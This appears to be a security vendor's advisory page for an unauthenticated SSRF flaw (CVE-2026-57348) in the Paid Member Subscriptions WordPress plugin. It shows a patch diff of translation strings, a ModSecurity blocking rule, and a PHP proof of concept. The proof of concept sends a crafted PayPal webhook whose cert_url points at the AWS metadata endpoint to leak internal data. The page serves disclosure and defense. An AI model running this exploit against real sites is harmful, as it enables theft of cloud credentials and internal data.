@@ -39,7 +39,7 @@

     public function __construct() {

-        define( 'PMS_VERSION', '3.0.4' );
+        define( 'PMS_VERSION', '3.0.5' );
         define( 'PMS_PLUGIN_DIR_PATH', plugin_dir_path( __FILE__ ) );
         define( 'PMS_PLUGIN_DIR_URL', plugin_dir_url( __FILE__ ) );
         define( 'PMS_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
--- a/paid-member-subscriptions/translations/paid-member-subscriptions.catalog.php
+++ b/paid-member-subscriptions/translations/paid-member-subscriptions.catalog.php
@@ -113,6 +113,7 @@
 <?php __("Something went wrong. The selected payment gateway does not support free trials.", "paid-member-subscriptions"); ?>
 <?php __("Something went wrong. The selected payment gateway does not support sign-up fees.", "paid-member-subscriptions"); ?>
 <?php __("Something went wrong. The selected payment gateway does not support recurring payments.", "paid-member-subscriptions"); ?>
+<?php __("Something went wrong. The selected payment gateway does not support paying in installments.", "paid-member-subscriptions"); ?>
 <?php __("The default currency you are using right now is not supported by PayPal. Contact the website administrator.", "paid-member-subscriptions"); ?>
 <?php __("You are already a member.", "paid-member-subscriptions"); ?>
 <?php __("Something went wrong. We could not cancel your subscription.", "paid-member-subscriptions"); ?>
@@ -974,6 +975,7 @@
 <?php __("Subscription activated successfully.", "paid-member-subscriptions"); ?>
 <?php __("Subscription activated until <strong>%s</strong>.", "paid-member-subscriptions"); ?>
 <?php __("Subscription expired.", "paid-member-subscriptions"); ?>
+<?php __("Subscription expired (status check system).", "paid-member-subscriptions"); ?>
 <?php __("Subscription renewed by user.", "paid-member-subscriptions"); ?>
 <?php __("Subscription renewed until <strong>%s</strong>.", "paid-member-subscriptions"); ?>
 <?php __("Subscription renewed automatically.", "paid-member-subscriptions"); ?>
@@ -1514,6 +1516,42 @@
 <?php __("Please enter a price less than or equal to %s.", "paid-member-subscriptions"); ?>
 <?php __("Please enter a price greater than or equal to %s.", "paid-member-subscriptions"); ?>
 <?php __('Please enter a price between %1$s and %2$s.', 'paid-member-subscriptions' ); ?>
+<?php __("The selected gateway is not configured correctly: <strong>Authorize.Net API credentials are missing</strong>. Contact the system administrator.", "paid-member-subscriptions"); ?>
+<?php __("Authorize.Net API credentials not configured.", "paid-member-subscriptions"); ?>
+<?php __("Invalid payment ID or amount.", "paid-member-subscriptions"); ?>
+<?php __("Payment not found.", "paid-member-subscriptions"); ?>
+<?php __("No transaction ID found for this payment.", "paid-member-subscriptions"); ?>
+<?php __("Cannot refund: the original card details are not available for this subscription. Issue the refund directly from the Authorize.Net dashboard.", "paid-member-subscriptions"); ?>
+<?php __("Payment refunded successfully!", "paid-member-subscriptions"); ?>
+<?php __("Refund could not be processed.", "paid-member-subscriptions"); ?>
+<?php __("<strong>Authorize.Net:</strong> %s", "paid-member-subscriptions"); ?>
+<?php __("No response from Authorize.Net.", "paid-member-subscriptions"); ?>
+<?php __("No existing payment profile found. Please contact support.", "paid-member-subscriptions"); ?>
+<?php __("Something went wrong, please try again.", "paid-member-subscriptions"); ?>
+<?php __("Payment method updated successfully.", "paid-member-subscriptions"); ?>
+<?php __("Transaction held for review; completion will be processed when Authorize.Net sends a webhook.", "paid-member-subscriptions"); ?>
+<?php __("The card was declined.", "paid-member-subscriptions"); ?>
+<?php __("The payment gateway reported an error processing this transaction.", "paid-member-subscriptions"); ?>
+<?php __("The transaction is held for review by the payment processor.", "paid-member-subscriptions"); ?>
+<?php __("The payment could not be completed.", "paid-member-subscriptions"); ?>
+<?php __("Card payments are not available because the payment gateway is not configured. Please contact the site administrator.", "paid-member-subscriptions"); ?>
+<?php __("Card Number", "paid-member-subscriptions"); ?>
+<?php __("CVV", "paid-member-subscriptions"); ?>
+<?php __("Please enter a valid card number.", "paid-member-subscriptions"); ?>
+<?php __("Please enter a valid card expiration date.", "paid-member-subscriptions"); ?>
+<?php __("Please enter a valid card verification value.", "paid-member-subscriptions"); ?>
+<?php __("Accept.js library is not loaded. Please refresh the page and try again.", "paid-member-subscriptions"); ?>
+<?php __("An unexpected error occurred. Please try again.", "paid-member-subscriptions"); ?>
+<?php __("Collect credit and debit card payments for your membership plans with Authorize.Net, including recurring subscriptions and renewals.", "paid-member-subscriptions"); ?>
+<?php __("Authorize.Net transaction created successfully.", "paid-member-subscriptions"); ?>
+<?php __("Authorize.Net webhook received: %s", "paid-member-subscriptions"); ?>
+<?php __("Payment was refunded in the Authorize.Net Dashboard.", "paid-member-subscriptions"); ?>
+<?php __("Authorize.Net transaction is held for review; completion will be processed when the gateway sends a webhook.", "paid-member-subscriptions"); ?>
+<?php __("Subscription expired because the payment was refunded in the Authorize.Net Dashboard.", "paid-member-subscriptions"); ?>
+<?php __("Subscription activated after held transaction was approved in the Authorize.Net Dashboard.", "paid-member-subscriptions"); ?>
+<?php __("Subscription expired because the held transaction was declined in the Authorize.Net Dashboard.", "paid-member-subscriptions"); ?>
+<?php __("Payment could not be processed.", "paid-member-subscriptions"); ?>
+<?php __("The payment gateway is reporting the following error:", "paid-member-subscriptions"); ?>
 <?php __("API Key successfully validated!", "paid-member-subscriptions"); ?>
 <?php __("List ID successfully validated!", "paid-member-subscriptions"); ?>
 <?php __("No users selected.", "paid-member-subscriptions"); ?>
@@ -1746,7 +1784,6 @@
 <?php __("You are not allowed to do this.", "paid-member-subscriptions"); ?>
 <?php __("Member invitation removed succesfully!", "paid-member-subscriptions"); ?>
 <?php __("Member removed successfully!", "paid-member-subscriptions"); ?>
-<?php __("Something went wrong, please try again.", "paid-member-subscriptions"); ?>
 <?php __("Invitation sent successfully!", "paid-member-subscriptions"); ?>
 <?php __("Invalid subscription.", "paid-member-subscriptions"); ?>
 <?php __("Invalid subscription type.", "paid-member-subscriptions"); ?>
@@ -1897,15 +1934,10 @@
 <?php __("The selected gateway is not configured correctly: <strong>PayPal Address is missing</strong>. Contact the system administrator.", "paid-member-subscriptions"); ?>
 <?php __("The selected gateway is not configured correctly: <strong>PayPal API credentials are missing</strong>. Contact the system administrator.", "paid-member-subscriptions"); ?>
 <?php __("PayPal API credentials not configured.", "paid-member-subscriptions"); ?>
-<?php __("Invalid payment ID or amount.", "paid-member-subscriptions"); ?>
-<?php __("Payment not found.", "paid-member-subscriptions"); ?>
-<?php __("No transaction ID found for this payment.", "paid-member-subscriptions"); ?>
 <?php __("PayPal API request failed: %s", "paid-member-subscriptions"); ?>
 <?php __("PayPal API returned error code: %s", "paid-member-subscriptions"); ?>
 <?php __("PayPal refund was not successful!", "paid-member-subscriptions"); ?>
-<?php __("Payment refunded successfully!", "paid-member-subscriptions"); ?>
 <?php __("Credit Card Information", "paid-member-subscriptions"); ?>
-<?php __("Card Number", "paid-member-subscriptions"); ?>
 <?php __("Card CVV", "paid-member-subscriptions"); ?>
 <?php __("Please enter a Billing First Name.", "paid-member-subscriptions"); ?>
 <?php __("Please enter a Billing Last Name.", "paid-member-subscriptions"); ?>
@@ -1914,9 +1946,6 @@
 <?php __("Please enter a Billing State.", "paid-member-subscriptions"); ?>
 <?php __("Please enter a Billing Country.", "paid-member-subscriptions"); ?>
 <?php __("Please enter a Billing ZIP code.", "paid-member-subscriptions"); ?>
-<?php __("Please enter a valid card number.", "paid-member-subscriptions"); ?>
-<?php __("Please enter a valid card verification value.", "paid-member-subscriptions"); ?>
-<?php __("Please enter a valid card expiration date.", "paid-member-subscriptions"); ?>
 <?php __("Payments using credit cards or customer accounts handled by PayPal (deprecated).", "paid-member-subscriptions"); ?>
 <?php __("Payments using credit cards directly on your website through PayPal API. .", "paid-member-subscriptions"); ?>
 <?php __("PayPal Recurring Initial Payment", "paid-member-subscriptions"); ?>
@@ -1934,7 +1963,6 @@
 <?php __("Received Transaction ID from PayPal.", "paid-member-subscriptions"); ?>
 <?php __("User did not accept the <strong>Billing Agreement</strong> on the <strong>PayPal Checkout</strong>.", "paid-member-subscriptions"); ?>
 <?php __("Attempting to charge user based on the <strong>PayPal Checkout</strong>.", "paid-member-subscriptions"); ?>
-<?php __("The payment gateway is reporting the following error:", "paid-member-subscriptions"); ?>
 <?php __("Payment Gateway Message", "paid-member-subscriptions"); ?>
 <?php __("Error code:", "paid-member-subscriptions"); ?>
 <?php __("Message:", "paid-member-subscriptions"); ?>
@@ -1967,7 +1995,6 @@
 <?php __("3D Secure authentication has failed.", "paid-member-subscriptions"); ?>
 <?php __("The user did not click on the confirmation link that was sent.", "paid-member-subscriptions"); ?>
 <?php __("User returned to the website for authentication.", "paid-member-subscriptions"); ?>
-<?php __("Payment method updated successfully.", "paid-member-subscriptions"); ?>
 <?php __("The selected gateway is not configured correctly: <strong>API credentials are missing</strong>. Contact the system administrator.", "paid-member-subscriptions"); ?>
 <?php __('Your Stripe API settings are missing. In order to make payments you will need to add your API credentials %1$s here %2$s.', 'paid-member-subscriptions' ); ?>
 <?php __("Payments using credit cards directly on your website through Stripe API.", "paid-member-subscriptions"); ?>
@@ -2160,6 +2187,7 @@
 <?php __("Old Stripe implementation not available for new users.", "paid-member-subscriptions"); ?>
 <?php __("Tax & EU VAT", "paid-member-subscriptions"); ?>
 <?php __("Helps you collect tax or vat from your users depending on their location, with full control over tax rates and who to charge.", "paid-member-subscriptions"); ?>
+<?php __("Authorize.Net", "paid-member-subscriptions"); ?>
 <?php __("Integrate Mailchimp to keep your membership audience up to date. Automatically add or update subscribers, enable Double Opt-In, and sync custom fields between Mailchimp and member profiles.", "paid-member-subscriptions"); ?>
 <?php __("Sync your members with Brevo to manage contacts smoothly. Automate newsletter subscriptions, use Double Opt-In for compliance, and link custom fields between Brevo and your member data.", "paid-member-subscriptions"); ?>
 <?php __("Recommended Plugins", "paid-member-subscriptions"); ?>
@@ -2612,6 +2640,9 @@
 <?php __("Use the following URL for the IPN:", "paid-member-subscriptions"); ?>
 <?php __("In order for <strong>PayPal payments to work correctly</strong>, you need to setup the IPN Url in your PayPal account. %s", "paid-member-subscriptions"); ?>
 <?php __('Your <strong>PayPal Email Address</strong> is missing. In order to make payments you will need to add the Email Address of your PayPal account %1$s here %2$s.', 'paid-member-subscriptions' ); ?>
+<?php __("PayPal Email Address Missing", "paid-member-subscriptions"); ?>
+<?php __('You have active subscriptions using %1$s or %2$s, but the PayPal Email Address is not set. Add it in payment settings so Instant Payment Notifications (IPNs) from PayPal can be received and processed.', 'paid-member-subscriptions' ); ?>
+<?php __("PayPal Express", "paid-member-subscriptions"); ?>
 <?php __("User sent to <strong>PayPal Checkout</strong> to continue the payment process.", "paid-member-subscriptions"); ?>
 <?php __("Waiting to receive Instant Payment Notification (IPN) from <strong>PayPal</strong>.", "paid-member-subscriptions"); ?>
 <?php __("Instant Payment Notification (IPN) received from PayPal.", "paid-member-subscriptions"); ?>
@@ -2632,7 +2663,6 @@
 <?php __("Subscription expired because the payment was refunded in the Stripe Dashboard.", "paid-member-subscriptions"); ?>
 <?php __("User attemped to setup a payment method for this subscription but failed. Reason: %s", "paid-member-subscriptions"); ?>
 <?php __("Card - One Time", "paid-member-subscriptions"); ?>
-<?php __("Payment could not be processed.", "paid-member-subscriptions"); ?>
 <?php __("Please %slog in%s and try again.", "paid-member-subscriptions"); ?>
 <?php __("The card does not support this type of purchase.", "paid-member-subscriptions"); ?>
 <?php __("The customer has exceeded the balance or credit limit available on their card.", "paid-member-subscriptions"); ?>
@@ -2749,6 +2779,29 @@
 <?php __("Set the Expiration Date. A subsequent date change will only affect new users.", "paid-member-subscriptions"); ?>
 <?php __("Allow plan to be renewed", "paid-member-subscriptions"); ?>
 <?php __("Allow fixed period plan to be renewed each year.", "paid-member-subscriptions"); ?>
+<?php __("API Login ID", "paid-member-subscriptions"); ?>
+<?php __("Enter your API Login ID. You can find it in your Authorize.Net Merchant Interface under Account > Settings > Security Settings > API Credentials & Keys.", "paid-member-subscriptions"); ?>
+<?php __("Transaction Key", "paid-member-subscriptions"); ?>
+<?php __("Enter your Transaction Key. You can find it in your Authorize.Net Merchant Interface under Account > Settings > Security Settings > API Credentials & Keys.", "paid-member-subscriptions"); ?>
+<?php __("Signature Key", "paid-member-subscriptions"); ?>
+<?php __("<strong>Required for webhooks.</strong> Enter your Signature Key. Generate it in your Authorize.Net Merchant Interface under Account > Settings > Security Settings > API Credentials & Keys. Without it, incoming webhook requests cannot be verified and are rejected.", "paid-member-subscriptions"); ?>
+<?php __("Connection Status", "paid-member-subscriptions"); ?>
+<?php __("Not verified", "paid-member-subscriptions"); ?>
+<?php __("Save your settings to verify the connection and fetch the Public Client Key automatically.", "paid-member-subscriptions"); ?>
+<?php __("Connected", "paid-member-subscriptions"); ?>
+<?php __("Your account is connected in %s mode.", "paid-member-subscriptions"); ?>
+<?php __("Webhooks Status", "paid-member-subscriptions"); ?>
+<?php __("Webhooks are connected successfully. Last webhook received at: %s", "paid-member-subscriptions"); ?>
+<?php __("Unknown", "paid-member-subscriptions"); ?>
+<?php __("Webhooks were connected successfully, but the last webhook received was more than 14 days ago. You should verify that the webhook URL still exists in your Authorize.Net account.", "paid-member-subscriptions"); ?>
+<?php __("Waiting for data", "paid-member-subscriptions"); ?>
+<?php __("When the status changes to Connected, the website has started processing webhook data from Authorize.Net.", "paid-member-subscriptions"); ?>
+<?php __("Webhooks URL", "paid-member-subscriptions"); ?>
+<?php __("Copy this URL and configure it in your Authorize.Net Merchant Interface under Account > Settings > Webhooks. Select the following events: <strong>payment.authcapture.created</strong>, <strong>payment.refund.created</strong>, <strong>payment.fraud.approved</strong>, <strong>payment.fraud.declined</strong>, <strong>payment.fraud.held</strong>.", "paid-member-subscriptions"); ?>
+<?php __("Authorize.Net Customer Profile ID", "paid-member-subscriptions"); ?>
+<?php __("Authorize.Net Payment Profile ID", "paid-member-subscriptions"); ?>
+<?php __("The Authorize.Net Customer Profile ID must be numeric.", "paid-member-subscriptions"); ?>
+<?php __("The Authorize.Net Payment Profile ID must be numeric.", "paid-member-subscriptions"); ?>
 <?php __("Select the subscription plan for which this content dripping set should apply.", "paid-member-subscriptions"); ?>
 <?php __("Select content dripping set status.", "paid-member-subscriptions"); ?>
 <?php __("Authentication", "paid-member-subscriptions"); ?>
@@ -3165,7 +3218,6 @@
 <?php __("Download this sample discount codes files", "paid-member-subscriptions"); ?>
 <?php __(" and modify it by adding your own discounts.", "paid-member-subscriptions"); ?>
 <?php __(" PayPal", "paid-member-subscriptions"); ?>
-<?php __("Connection Status", "paid-member-subscriptions"); ?>
 <?php __("Success", "paid-member-subscriptions"); ?>
 <?php __("Your account is connected successfully in %s mode.", "paid-member-subscriptions"); ?>
 <?php __("Connected Account", "paid-member-subscriptions"); ?>
@@ -3185,12 +3237,7 @@
 <?php __("Vaulting", "paid-member-subscriptions"); ?>
 <?php __("You are not able to offer the Vaulting functionality because its onboarding status is %s.", "paid-member-subscriptions"); ?>
 <?php __(" Please reach out to %s for more information.", "paid-member-subscriptions"); ?>
-<?php __("Webhooks Status", "paid-member-subscriptions"); ?>
-<?php __("Connected", "paid-member-subscriptions"); ?>
-<?php __("Webhooks are connected successfully. Last webhook received at: %s", "paid-member-subscriptions"); ?>
-<?php __("Unknown", "paid-member-subscriptions"); ?>
 <?php __("Webhooks were connected successfully, but the last webhook received was more than 14 days ago. You should verify that the webhook URL still exists in your PayPal Account.", "paid-member-subscriptions"); ?>
-<?php __("Waiting for data", "paid-member-subscriptions"); ?>
 <?php __("When the status changes to Connected, the website has started processing webhook data from PayPal.", "paid-member-subscriptions"); ?>
 <?php __("Disconnect", "paid-member-subscriptions"); ?>
 <?php __("Disconnecting your account will stop all payments from being processed.", "paid-member-subscriptions"); ?>
@@ -3220,7 +3267,6 @@
 <?php __("Please reload the page and connect your account again in order to receive payments.", "paid-member-subscriptions"); ?>
 <?php __("Webhooks were connected successfully, but the last webhook received was more than 14 days ago. You should verify that the webhook URL still exists in your Stripe Account.", "paid-member-subscriptions"); ?>
 <?php __("When the status changes to Connected, the website has started processing webhook data from Stripe.", "paid-member-subscriptions"); ?>
-<?php __("Webhooks URL", "paid-member-subscriptions"); ?>
 <?php __("Copy this URL and configure it in your Stripe Account. After setting up the webhook endpoint, you can also copy the %sWebhook Signing Secret%s from Stripe and paste it in the field below for enhanced security. %sClick here%s to learn more about the Webhooks setup process. ", "paid-member-subscriptions"); ?>
 <?php __("Webhook Signing Secret", "paid-member-subscriptions"); ?>
 <?php __("whsec_...", "paid-member-subscriptions"); ?>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-57348
# Blocks unauthenticated SSRF using cert_url parameter in PayPal Connect webhook
# Only blocks if the cert_url does not match legitimate PayPal certificate URLs

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57348 SSRF attempt via cert_url parameter',severity:'CRITICAL',tag:'CVE-2026-57348'"
  SecRule ARGS_POST:action "@streq pms_paypal_connect_webhook" "chain"
    SecRule ARGS_POST:cert_url "!@rx ^https://[a-zA-Z0-9.-]+.paypal.com/v1/notifications/certs/[a-zA-Z0-9._-]+$" 
      "chain"
      SecRule ARGS_POST:cert_url "@rx ^https?://" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57348 - Paid Membership Subscriptions Unauthenticated SSRF

$target_url = 'http://169.254.169.254/latest/meta-data/'; // AWS metadata endpoint
$wp_site = 'http://example.com'; // WordPress site URL

// The vulnerable endpoint is the WordPress AJAX handler with a specific action
// that triggers the PayPal Connect webhook processing
$ajax_url = rtrim($wp_site, '/') . '/wp-admin/admin-ajax.php';

// Craft the webhook payload with a malicious cert_url
// The action parameter must match the PayPal Connect webhook AJAX action
$payload = array(
    'action' => 'pms_paypal_connect_webhook',
    'event_type' => 'PAYMENT.SALE.COMPLETED',
    'resource' => array(
        'id' => 'PAYID-123456789',
        'state' => 'completed',
        'amount' => array(
            'total' => '10.00',
            'currency' => 'USD'
        )
    ),
    'cert_url' => $target_url, // SSRF vector
    'request_id' => 'REQ-123456789'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'Accept: application/json'
));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response (if any contains SSRF leaked data):n";
echo $response;

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School